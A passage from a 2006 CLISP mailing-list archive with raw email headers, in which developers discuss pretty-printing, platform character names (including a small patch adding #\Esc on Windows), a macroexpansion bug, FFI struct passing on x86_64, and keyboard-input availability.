1FYPVV-00008f-Fi for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 17:31:17 +0200 Received: from p54a88b27.dip0.t-ipconnect.de ([84.168.139.39]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Apr 2006 17:31:17 +0200 Received: from tcr by p54a88b27.dip0.t-ipconnect.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 25 Apr 2006 17:31:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Tobias C. Rittweiler" Lines: 33 Message-ID: <87odyphdtw.fsf@GNUlot.localnet> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p54a88b27.dip0.t-ipconnect.de User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (gnu/linux) Cancel-Lock: sha1:vcw0kyqKhgCZqskOCizc+VQnyiM= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: automatic pretty-printing of symbols in cons es Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 08:32:04 2006 X-Original-Date: Tue, 25 Apr 2006 17:31:07 +0200 "Hoehle, Joerg-Cyril" writes: > > > CLHS says something opposite to CLtL2: "The value of > > > *print-pretty* is still true when this function is called, and > > > individual methods for print-object might still elect to produce > > > output in a special format conditional on the value of > > > *print-pretty*.". > > > > What's the exact references? > > http://www.lisp.org/HyperSpec/Body/sec_22-2-1-4.html > See also the UNIFY writeup issue which mentions the move from NIL to T. > http://www.lisp.org/HyperSpec/Issues/iss180-writeup.html So, yes, this means that in the print-object method for lists, *PRETTY-PRINT* must be preserved to be T and so it is in a furher call to the print-object for symbols as described in the algorithm of 22.1.3.5. So I'm just more convinced that my original expecation was justified. > >Yup. In fact, I could make clisp segfault [...] I couldn't reproduce > >the segfault when using a clisp freshly compiled > > The difference should be libsigsegv. Is it missing from your original > build? No, in fact, the segfault occured somewhere in the chain into libsigsegv, I think on the recovering side. I can't work this out currently, as it seems I'm having trouble again with my RAM (firefox regularly blows up.) -T. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 25 10:21:23 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYRE3-0006LT-7J for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 10:21:23 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYRE3-00022t-6U for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 10:21:23 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYRE1-0001zS-KI for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 10:21:23 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 25 Apr 2006 19:21:13 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Apr 2006 19:21:13 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tcr@freebits.de Subject: Re: [clisp-list] Re: automatic pretty-printing of symbols in cons es MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 10:22:02 2006 X-Original-Date: Tue, 25 Apr 2006 19:19:03 +0200 Tobias Rittweiler wrote: >So I'm just more convinced that my original expecation was justified. Please file a bug report to the bugtracker http://sourceforge.net/tracker/?group_id=1355&atid=101355 You could also mention that some of the CLHS examples fail for the same reason. Benefit to you as the reporter: automatic notification when it'll be solved. Oh, and if you'd like to submit patches or generally work on the pretty printer, you're welcome ;) as well as everybody else! Regards, Jorg Hohle. From fb@frank-buss.de Tue Apr 25 15:10:17 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYVjW-00040u-9r for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:10:10 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYVjW-0004FZ-75 for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:10:10 -0700 Received: from moutng.kundenserver.de ([212.227.126.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYVjT-00075L-Dr for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:10:10 -0700 Received: from [81.173.234.120] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu1) with ESMTP (Nemesis), id 0MKwpI-1FYVjR0DbS-0002En; Wed, 26 Apr 2006 00:10:05 +0200 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Thread-Index: AcZotQGyafFkLnlfRva9mpvudJkEyQ== Message-ID: <0MKwpI-1FYVjR0DbS-0002En@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] different set of characters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 15:11:09 2006 X-Original-Date: Wed, 26 Apr 2006 00:10:05 +0200 Why is the set of characters different for Windows and Linux? http://www.podval.org/~sds/clisp/impnotes/char-platform-dep.html And even for characters which are available on both platforms, like #\Escape, it differs (on Windows there is no #\Escape, while it is available in most other Lisp implementations, like LispWorks or CLISP on Linux). This is not a bug, but I wonder why it is not the same on all platforms. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From lisp-clisp-list@m.gmane.org Tue Apr 25 15:20:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYVtN-0005AA-RB for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:20:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FYVtM-0002f5-87 for clisp-list@lists.sourceforge.net; Tue, 25 Apr 2006 15:20:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FYVtC-0007Et-9G for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 00:20:10 +0200 Received: from 84.90.17.8 ([84.90.17.8]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 Apr 2006 00:20:10 +0200 Received: from luismbo by 84.90.17.8 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 Apr 2006 00:20:10 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?utf-8?Q?Lu=C3=ADs?= Oliveira Lines: 40 Message-ID: References: <0MKwpI-1FYVjR0DbS-0002En@mrelayeu.kundenserver.de> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 84.90.17.8 User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:9YnOFj01LYpHCCpceyhHPvGZ6Ws= X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: different set of characters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 25 15:21:03 2006 X-Original-Date: Tue, 25 Apr 2006 23:20:10 +0100 "Frank Buss" writes: > And even for characters which are available on both platforms, like > #\Escape, it differs (on Windows there is no #\Escape, while it is available ^^^^^^^^^ > in most other Lisp implementations, like LispWorks or CLISP on Linux). This > is not a bug, but I wonder why it is not the same on all platforms. Frank meant #\Esc there. (I know that because we were discussing a minute ago.) Anyway, here's a patch to define #\Esc on windows: --- src/constobj.d.old 2006-04-25 23:09:56.000000000 +0100 +++ src/constobj.d 2006-04-25 23:11:13.000000000 +0100 @@ -68,7 +68,7 @@ # On change of character-names except of CONSTOBJ.D, also # readjust CHARSTRG.D, FORMAT.LISP, IMPNOTES.HTML! #ifdef WIN32_CHARNAMES - # names of characters with codes 0,7,...,13,26,27,32,8,10: + # names of characters with codes 0,7,...,13,26,27,32,8,10,27: LISPOBJ(charname_0,"\"Null\"") LISPOBJ(charname_7,"\"Bell\"") LISPOBJ(charname_8,"\"Backspace\"") @@ -82,6 +82,7 @@ LISPOBJ(charname_32,"\"Space\"") LISPOBJ(charname_8bis,"\"Rubout\"") LISPOBJ(charname_10bis,"\"Linefeed\"") + LISPOBJ(charname_27bis,"\"Esc\"") #endif #ifdef UNIX_CHARNAMES LISPOBJ(charname_0bis,"\"Null\"") I hope it applies to a recent version of this file, cvs.sf.net is not responding atm. -- Luís Oliveira luismbo (@) gmail (.) com Equipa Portuguesa do Translation Project http://www.iro.umontreal.ca/translation/registry.cgi?team=pt From daly@axiom-developer.org Mon Apr 24 09:18:22 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FY3lW-0002Hf-Gv for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 09:18:22 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FY3lW-0006DM-Fo for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 09:18:22 -0700 Received: from mx-8.zoominternet.net ([24.154.1.27]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FY3lV-0001b7-1Y for clisp-list@lists.sourceforge.net; Mon, 24 Apr 2006 09:18:22 -0700 Received: from mua-4.zoominternet.net (mua-4.zoominternet.net [24.154.1.47]) by mx-8.zoominternet.net (8.12.11/8.12.11) with ESMTP id k3OGI8UC013806; Mon, 24 Apr 2006 12:18:13 -0400 Received: from localhost.localdomain (dynamic-acs-72-23-17-240.zoominternet.net [72.23.17.240]) by mua-4.zoominternet.net (Postfix) with ESMTP id 6230D7F409; Mon, 24 Apr 2006 12:18:10 -0400 (EDT) Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id k3OGCe723607; Mon, 24 Apr 2006 12:12:40 -0400 Message-Id: <200604241612.k3OGCe723607@localhost.localdomain> From: root To: clisp-list@lists.sourceforge.net Cc: daly@axiom-developer.org Reply-To: daly@axiom-developer.org X-Spam-Score: 0.10 () [Tag at 15.00] FORGED_RCVD_HELO X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.27 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] macroexpand bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 07:50:01 2006 X-Original-Date: Mon, 24 Apr 2006 12:12:40 -0400 I appear to have found a bug in the macroexpansion mechanism. I have a macro which will expand into a structure setting call. I want to be able to say (cca x a b) and turn it into (setf (state-f x) '(a b)) so I write the macro as: (defmacro cca (str &rest args) `(setf (,(intern (string-upcase (concatenate 'string "STATE-" (string str)))) *state*) ',args)) which works beautifully (and has been for some time). However if I feed it the arguments: (cca x ((not a) foo) (a bar)) it fails during file loading, giving the message: *** - SYSTEM::%EXPAND-FORM: (NOT DF) should be a lambda expression but since cca is a macro the arguments should be passed unevaluated. When the arguments arrive (via &rest args) they should still be unevaluated since they are form substituted into a quoted list. This SHOULD expand into something like (setf (state-f *state*) '(((not a) foo) (a bar))) Did I miss something or is this a bug? It expands properly in other lisps. Tim Daly From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 26 09:13:02 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYmdR-000313-Lt for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 09:13:01 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYmdQ-00022V-1j for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 09:13:01 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 26 Apr 2006 18:12:51 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Apr 2006 18:12:51 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: fb@frank-buss.de Subject: Re: [clisp-list] different set of characters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 09:14:02 2006 X-Original-Date: Wed, 26 Apr 2006 18:11:10 +0200 Frank Buss wonders: >Why is the set of characters different for Windows and Linux? Presumably history. In the terminal console days of UNIX, playing with ASCII control codes (e.g. SI or SO) was common. Other systems only provide names for codes relevant to their OS (e.g. CSI on AmigaOS, code 128+27). >(on Windows there is no #\Esc, while it is available >in most other Lisp implementations, like LispWorks or CLISP on >Linux). Implemented and documented in CVS. BTW, #\Rubout was misdocumented as #\Code8 on MS-Windows. It's #\Code127, as on UNIX, and has been so since at least 1998. Also fixed. http://www.podval.org/~sds/clisp/impnotes/char-platform-dep.html (webpage will likely be updated soon). Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 26 09:44:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYn7i-0006na-D9 for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 09:44:18 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYn7h-0004tj-1D for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 09:44:18 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 26 Apr 2006 18:44:10 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Apr 2006 18:44:10 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr, haible@ilog.fr Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 09:45:03 2006 X-Original-Date: Wed, 26 Apr 2006 18:44:01 +0200 Bernard Urban wrote: >The following program works fine on a =20 >Intel Xeon machine (used as a i686 machine),=20 >but fails on a different >machine with the same CPU, but used as a x86_64 machine. >the FFI tests on installation work ok even on x86_64 Did you compile CLISP 2.38 yourself or do you use some distribution? >struct projUV { > double u, v; >}; >struct projUV pj_fwd(struct projUV in, opaque proj) >Output from the i686 machine: >Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? >Input proj =3D 0x81ea530 u =3D 45 v =3D 67 >And from the x86_64 machine: >Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? >Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0 >So there is something weird happening, related to pointer apparently. This looks like a bug in the ffcall library. It looks like ffcall did = not guess the correct calling convention for passing or returning this = struct. Is it possible for you to work with pointers to structs instead, as a = work-around? Sadly, I have no access to a 64bit machine. Could you add a test to ffcall/avcall/tests.c similar to the existing typedef struct { long l1; long l2; } J; J J_JiJ (J a, int b, J c) and report ffcall test results? That test shows that passing & returning a struct { long ; long } = works. struct { double; double } is untested and could make a difference. Regards, J=F6rg H=F6hle. From bruno@clisp.org Wed Apr 26 10:38:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYnxo-0004lg-KG for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:38:08 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FYnxm-0005L6-4m for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:38:08 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k3QHbucK013479; Wed, 26 Apr 2006 19:37:56 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k3QHbo65016922; Wed, 26 Apr 2006 19:37:50 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 26 Apr 2006 19:39:28 +0200 Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id B16E03C40B; Wed, 26 Apr 2006 17:35:58 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails User-Agent: KMail/1.5 Cc: Bernard.Urban@meteo.fr References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200604261935.57472.bruno@clisp.org> X-OriginalArrivalTime: 26 Apr 2006 17:39:28.0809 (UTC) FILETIME=[5E60F990:01C66958] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 10:39:02 2006 X-Original-Date: Wed, 26 Apr 2006 19:35:57 +0200 > > struct projUV { > > double u, v; > > }; > > struct projUV pj_fwd(struct projUV in, opaque proj) The ffcall library can not portably support passing or returning structs containing doubles or floats _by_value_. Suggestions: Either write a wrapper around your function to pass or return the structs by pointer. Or enhance clisp's foreign.d to deal with this case automatically. > This looks like a bug in the ffcall library. It looks like ffcall did not > guess the correct calling convention for passing or returning this struct. Yes, but it will not be fixed. Bruno From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 26 10:40:32 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYo08-00058C-O7 for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:40:32 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYo08-0005d9-Qu for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:40:32 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYo07-0004sk-9Y for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:40:32 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 26 Apr 2006 19:40:23 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Apr 2006 19:40:23 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] EXT:WITH-KEYBOARD, EXT:*KEYBOARD-INPUT* missing from 2.38 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 10:41:05 2006 X-Original-Date: Wed, 26 Apr 2006 19:40:20 +0200 Don cohen wrote: >These seem not to work in 2.38 downloaded from >http://sourceforge.net/project/showfiles.php?group_id=1355 >e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz Do you mean working as functional or available? >I notice that they do seem to work in clisp.i386 2.38-1.fc4 >I do notice that working with-keyboard seems to correlate with >#+screen. Is that coincidence? Can it be made to work even when >#-screen? lispbibl.d shows that they share the same conditions for availability: #if ((defined(UNIX) && !defined(NEXTAPP) || defined(MAYBE_NEXTAPP)) && !defined\ (NO_TERMCAP_NCURSES)) || defined(WIN32_NATIVE) Alas, there's #+SCREEN on the Lisp side to detect it, but there's no #+KEYBOARD nor something equivalent. In a CLISP version that does not provide this functionality, what would you expect: a) no symbol named ext:with-keyboard available? b) symbol present, but not fbound? c) symbol only internal, not exported from EXT? Of course, that does not explain why it "seems not to work" in the package you mention. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 26 10:44:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYo3f-0005b5-DA for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:44:11 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYo3e-0007ef-0m for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 10:44:11 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 26 Apr 2006 19:44:03 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Apr 2006 19:44:03 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: bruno@clisp.org, clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 10:45:06 2006 X-Original-Date: Wed, 26 Apr 2006 19:44:00 +0200 Bruno Haible wrote: >The ffcall library can not portably support passing or=20 >returning structs containing doubles or floats _by_value_. >Suggestions: Either write a wrapper around your function to pass or >return the structs by pointer. Or enhance clisp's foreign.d to=20 >deal with this case automatically. What is possible in CLISP's foreign.d except signaling an error? Regards, J=F6rg H=F6hle. From bruno@clisp.org Wed Apr 26 11:25:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYoha-000250-UN for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 11:25:26 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FYoha-0004Rl-CU for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 11:25:26 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k3QIPJsK018499; Wed, 26 Apr 2006 20:25:19 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k3QIPEwY017642; Wed, 26 Apr 2006 20:25:14 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 26 Apr 2006 20:26:52 +0200 Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 871F93C40B; Wed, 26 Apr 2006 18:23:22 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails User-Agent: KMail/1.5 Cc: Bernard.Urban@meteo.fr References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200604262023.21347.bruno@clisp.org> X-OriginalArrivalTime: 26 Apr 2006 18:26:52.0673 (UTC) FILETIME=[FD742F10:01C6695E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 